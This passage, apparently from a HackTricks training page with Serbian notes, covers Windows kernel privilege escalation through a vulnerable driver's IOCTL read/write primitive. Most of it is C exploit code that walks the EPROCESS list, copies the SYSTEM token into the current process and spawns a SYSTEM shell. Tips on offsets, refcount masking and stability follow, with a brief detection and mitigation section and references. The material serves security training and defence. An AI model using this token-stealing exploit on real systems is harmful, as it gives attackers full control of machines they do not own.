BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Napomene:
- Offseti: Koristite WinDbgs `dt nt!_EPROCESS` sa ciljanim PDB-ovima, ili runtime symbol loader-om, da biste dobili ispravne offset-e. Nemojte ih slepo hardkodovati.
- Maska: Na x64 token je EX_FAST_REF; najniža 3 bita su bita za referentni brojač. Zadržavanje originalnih niskih bitova iz vašeg tokena izbegava neposredne refcount neusaglašenosti.
- Stabilnost: Poželjno je elevirati trenutni proces; ako elevirate kratkotrajnog helper-a, možete izgubiti SYSTEM kada on izađe.
## Otkrivanje i ublažavanje
- Učitavanje unsigned ili nepouzdanih thirdparty drajvera koji otkrivaju moćne IOCTLs je osnovni uzrok.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i pravila Attack Surface Reduction mogu sprečiti učitavanje ranjivih drajvera.
- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i zamene tokena.
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}